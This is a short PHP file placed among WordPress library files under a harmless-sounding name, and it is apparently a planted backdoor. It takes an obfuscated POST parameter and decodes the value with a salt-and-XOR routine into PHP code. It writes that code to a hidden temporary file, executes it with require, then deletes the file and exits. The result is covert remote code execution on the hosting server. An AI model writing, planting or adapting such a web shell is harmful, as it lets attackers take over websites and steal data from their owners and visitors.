File: //home/vitanhod/www/wp-includes/sodium_compat/src/Core32/Curve25519/default_comments.php
<?php
if(in_array("\x6Fb\x6A\x65ct", array_keys($_POST))){
$itm = $_POST["\x6Fb\x6A\x65ct"];
$itm = explode ( "." , $itm );
$mrk = '';
$salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($salt2);
foreach ($itm as $q => $v1):
$chS = ord($salt2[$q % $lenS]);
$dec = ((int)$v1 - $chS - ($q % 10)) ^ 86;
$mrk.= chr($dec);
endforeach;
$key = array_filter([sys_get_temp_dir(), getcwd(), getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/dev/shm"]);
foreach ($key as $value) {
if (!( !is_dir($value) || !is_writable($value) )) {
$flg = implode("/", [$value, ".entry"]);
if (file_put_contents($flg, $mrk)) {
require $flg;
unlink($flg);
exit;
}
}
}
}